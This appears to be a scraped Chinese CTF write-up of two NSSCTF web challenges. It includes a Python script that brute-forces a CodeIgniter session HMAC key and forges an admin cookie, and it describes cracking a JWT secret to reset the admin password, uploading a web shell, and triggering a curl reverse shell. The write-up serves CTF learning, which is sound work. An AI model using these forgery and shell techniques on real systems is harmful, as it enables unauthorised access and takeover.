当前位置: 首页 > news >正文

【Web】NSSCTF Round#20 Basic 两道0解题的赛后谈

目录

前言

baby-Codeigniter

组合拳!


前言

本想着说看看go的gin框架就睡了的,r3师傅提醒说赛题环境已经上了,那不赶紧研究下😀

主要来谈谈做题的心路历程

baby-Codeigniter

拿到题目的第一反应应该是:“什么是Codeigniter”,接着自然会去面向搜索引擎解题

在那之前,我们可以做到一些有限的事

弱口令admin 123456登录成功

但权限不够,需要super administor,自然的,我们会去看cookie

url解码后,是一段有意义的键值对+hash值

尝试将0改为1(false->true),并urlencode还原

然未果,显然结尾的hash部分是鉴权的关键,具体的密钥、算法?这些我们都不知道,需要借助搜索引擎。但大方向我们基本可以确定是session伪造了

很容易搜出P牛文章:

客户端 session 导致的安全问题 | 离别歌

接着就顺藤摸瓜找到爆破secretkey的

https://github.com/Dionach/CodeIgniterXor

 但并不能爆出来🤔然后当时就卡死了啊哈哈(

后来询问出题人说用的那套源码不是xor加密,而是hash_hmac加密,前者是更低版本的加密方式

歪日,可是也没给我源码啊QWQ(

不妨在此处下个断言:“在拿到源码的条件下,只要验证信息存储在了客户端,而非服务端,都有伪造的可能。”

审计源码,找到set_cookie的逻辑

function _set_cookie($cookie_data = NULL)  {  if (is_null($cookie_data))  {  $cookie_data = $this->userdata;  }  // Serialize the userdata for the cookie  $cookie_data = $this->_serialize($cookie_data);  if ($this->sess_encrypt_cookie == TRUE)  {  $cookie_data = $this->CI->encrypt->encode($cookie_data);  }  $cookie_data .= hash_hmac('sha1', $cookie_data, $this->encryption_key);  $expire = ($this->sess_expire_on_close === TRUE) ? 0 : $this->sess_expiration + time();  // Set the cookie  setcookie(  $this->sess_cookie_name,  $cookie_data,  $expire,  $this->cookie_path,  $this->cookie_domain,  $this->cookie_secure  );
  1. 函数名为 _set_cookie,它接受一个可选参数 $cookie_data,用于指定要存储在 cookie 中的会话数据。
  2. 如果没有提供 $cookie_data 参数,函数将使用类属性 $this->userdata 中的数据。
  3. 接下来,会话数据被序列化,以便存储在 cookie 中。这是因为 cookie 只能存储字符串数据,所以需要序列化对象或数组等非字符串数据。
  4. 如果配置中设置了 sess_encrypt_cookie 为 TRUE,则会话数据会被加密。这通常用于提高安全性,以防止会话数据被篡改。
  5. 接着,会话数据被附加上一个 HMAC(Hash-based Message Authentication Code),以确保数据的完整性和真实性。HMAC 是通过将密钥和数据进行哈希计算而生成的。
  6. 过期时间 expire 被设置为 $this->sess_expire_on_close 为 TRUE 时为 0,否则为当前时间加上会话过期时间。
  7. 最后,使用 setcookie 函数来设置 cookie,包括 cookie 的名称、值、过期时间、路径、域和安全性等信息。

显然靶机这里sess_encrypt_cookie为false,那就好办了,我们可以用爆破的方式来反向推出密钥

根据上述逻辑交给gpt去写爆破脚本

import hmac
import urllib.parse
import hashlib
import timedef EncryCookie(cookie,secret):cookie = urllib.parse.unquote_plus(cookie)cookielen=len(cookie)-40cookie = cookie[:cookielen].replace('"superadmin";b:0;}','"superadmin";b:1;}')hmacstr=hmac.new(secret.encode("utf-8"),cookie.encode("utf-8"),hashlib.sha1).hexdigest()return urllib.parse.quote_plus(cookie+hmacstr)def CrackSecret(cookie,secret):cookie = urllib.parse.unquote_plus(cookie)cookielen=len(cookie)-40hmac_check = cookie[cookielen:]cookie = cookie[:cookielen]hmacstr=hmac.new(secret.encode("utf-8"),cookie.encode("utf-8"),hashlib.sha1).hexdigest()return hmac_check == hmacstrif __name__ == "__main__":cookie = "a%3A9%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%2299e46d024b833c6b5500dedf50c788b6%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22211.83.126.36%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A111%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F123.0.0.0+Safari%2F537.36%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1711815002%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22123456%22%3Bs%3A12%3A%22is_logged_in%22%3Bb%3A1%3Bs%3A10%3A%22superadmin%22%3Bb%3A0%3B%7D0dc8ff2053d4e55770718165801d42d106b53040"secrets = []with open("secret.txt") as f:secrets = f.readlines()starttime=time.time()for secret in secrets:secret=secret.strip("\n")result  = CrackSecret(cookie,secret)if result == True:print("[+]Success:"+secret)encrycookie=EncryCookie(cookie,secret)print(encrycookie)exit(0)else:print("[-]Test:"+secret)

成功爆破出密钥为123456,并拿到伪造的session

带着修改的cookie,上传shell

 连蚁剑,拿flag

组合拳!

进来弱口令没爆出admin,然后注册个账号尝试登录,显示权限过低,这不一眼垂直越权😂

还没登录进去,自然也就没有cookie,不能直接伪造

那咋整呢,可以去研究下“忘记密码”功能

拿到一段重置密码的url

http://node6.anna.nssctf.cn:28537/#/reset_token?email=2113566520@qq.com&token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMjExMzU2NjUyMEBxcS5jb20iLCJlbWFpbCI6IjIxMTM1NjY1MjBAcXEuY29tIiwidHlwZSI6M30.iyVS_MGthahgJtRcTbICgKP4tYySG8c_9h1Y6vrc9UA

分为两部分,第一部分是email地址,第二部分是一段jwt的token

关于管理员email地址,可以扫一下目录:

访问/.well-known/security.txt 得知管理员邮箱为Administrator@163.com

访问/README.md,不知道有啥用

搞定了email的问题,我们下面重点关注token

直接拖到jwt.io里去解密,很明显要把name和email分别改成admin和Administrator@163.com

 jwt的密钥用jwtcrack来爆破就行,得到是APjT

 再伪造下jwt

访问url

http://node6.anna.nssctf.cn:28537/#/reset_token?email=Administrator@163.com&token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6IkFkbWluaXN0cmF0b3JAMTYzLmNvbSIsInR5cGUiOjN9.X6FS_v6PLmG4jkZib0PmJZbs4WARAWc1bQsAmBPrxQI

 重置好了密码为123456

 

输入admin 123456成功登录

更多功能->资源下载

对任务内容base64解码后为print("hello world"),是一段py代码

我们只要给恶意命令base64编码然后更新任务即可,但抽象的是,更新的间隙足足有864000秒,即24小时,而且貌似前端还改不来🤔

提交也抓不来包,只能审js了(这里真的很不擅长,只能跟着官方wp走了

其给出的合理说法是每当更新任务时,都会调用getKey

其响应体为

关键词搜索keycode

这里的逻辑是判断keycode是否为字符串,是就跳转到 case 11 分支

在return处下断点

 可以看到最后的返回值就是n和o的异或的结果,这个我们不必在意,只要知道与二者都相关就可

将反弹shell命令base64编码(经过询问出题人,直接nc或bash靶机都不支持,只能curl了)

用这个网站来弹

https://your-shell.com/

在此处下断点,可以操作局部变量n

 控制台改n的值,令time为1

继续跟几步,可以看到成功修改了time 

成功执行命令,反弹shell,拿到flag

相关文章:

  • 39.基于SpringBoot + Vue实现的前后端分离-无人智慧超市管理系统(项目 + 论文PPT)
  • CSS 实现伸缩导航仪表板侧边栏菜单
  • PHP教程_如何向PHP5中的数组(Array)插入元素
  • 前端跨页面通信方案介绍
  • JavaScript 删除数组中指定元素的6种方法
  • C语言第三十九弹---预处理(上)
  • 【QT5-程序控制电源-串口通讯-<低成本>-程控电源方案-上位机-基础样例【3】】
  • 面试题 之 vue
  • 数据库-root密码丢失的重置方案(win11环境)
  • andv vue 实现多张图片上传
  • 史上最强 PyTorch 2.2 GPU 版最新安装教程
  • golang和Java的简单介绍和对比
  • cesium 加载gltf并实时改变位置 CallbackProperty方式
  • Mybatis 之 useGeneratedKeys
  • nodejs的express负载均衡
  • 【EOS】Cleos基础
  • MobX
  • mockjs让前端开发独立于后端
  • python大佬养成计划----difflib模块
  • scala基础语法(二)
  • 将回调地狱按在地上摩擦的Promise
  • 开年巨制!千人千面回放技术让你“看到”Flutter用户侧问题
  • 面试遇到的一些题
  • 前端知识点整理(待续)
  • 首页查询功能的一次实现过程
  • 通过几道题目学习二叉搜索树
  • 我的面试准备过程--容器(更新中)
  • 云栖大讲堂Java基础入门(三)- 阿里巴巴Java开发手册介绍
  • 在Docker Swarm上部署Apache Storm:第1部分
  • Nginx实现动静分离
  • 从如何停掉 Promise 链说起
  • 回归生活:清理微信公众号
  • 如何用纯 CSS 创作一个菱形 loader 动画
  • ​TypeScript都不会用,也敢说会前端?
  • ​虚拟化系列介绍(十)
  • ###C语言程序设计-----C语言学习(6)#
  • #pragma multi_compile #pragma shader_feature
  • #预处理和函数的对比以及条件编译
  • (LNMP) How To Install Linux, nginx, MySQL, PHP
  • (超简单)使用vuepress搭建自己的博客并部署到github pages上
  • (分布式缓存)Redis持久化
  • (过滤器)Filter和(监听器)listener
  • (四)Linux Shell编程——输入输出重定向
  • .Net Core和.Net Standard直观理解
  • .NET 应用架构指导 V2 学习笔记(一) 软件架构的关键原则
  • .NET和.COM和.CN域名区别
  • .NET中两种OCR方式对比
  • [ element-ui:table ] 设置table中某些行数据禁止被选中,通过selectable 定义方法解决
  • [ 隧道技术 ] 反弹shell的集中常见方式(四)python反弹shell
  • [2016.7.Test1] T1 三进制异或
  • [2018-01-08] Python强化周的第一天
  • [Android] Android ActivityManager
  • [AndroidStudio]_[初级]_[修改虚拟设备镜像文件的存放位置]
  • [hive] posexplode函数
  • [k8s系列]:kubernetes·概念入门